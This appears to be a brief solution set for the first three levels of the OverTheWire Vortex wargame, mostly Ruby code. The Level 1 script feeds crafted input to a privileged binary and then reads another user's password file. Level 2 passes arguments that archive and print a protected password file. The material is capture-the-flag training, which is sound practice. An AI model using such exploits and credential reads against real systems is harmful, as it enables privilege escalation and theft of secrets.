====== Over The Wire - Vortex ====== ===== Level 0 ===== require 'socket' TCPSocket.open('vortex.labs.overthewire.org', 5842) do |s| sum = 0 4.times {sum += s.recv(4).unpack('V').first} s.send([sum].pack('V'), 0) response = '' response += s.read() until s.eof? puts response end ===== Level 1 ===== require 'pty' begin PTY.spawn("/vortex/level1") do |stdin, stdout, pid| stdin.sync = true reader = Thread.new { STDOUT.sync = true STDOUT.write(stdin.read(1)) until stdin.eof? } 257.times {stdout.write "\\"} 1.times {stdout.write [0xca].pack('V')} 1.times {stdout.write "\\"} 1.times {stdout.write [0xff].pack('V')} sleep 0.25 stdout.puts sleep 0.25 stdout.write "cat /etc/vortex_pass/vortex2\n" sleep 0.25 end rescue => e puts e end ===== Level 2 ===== /vortex/level2 /etc/vortex_pass/vortex3 cat '/tmp/ownership.$$.tar'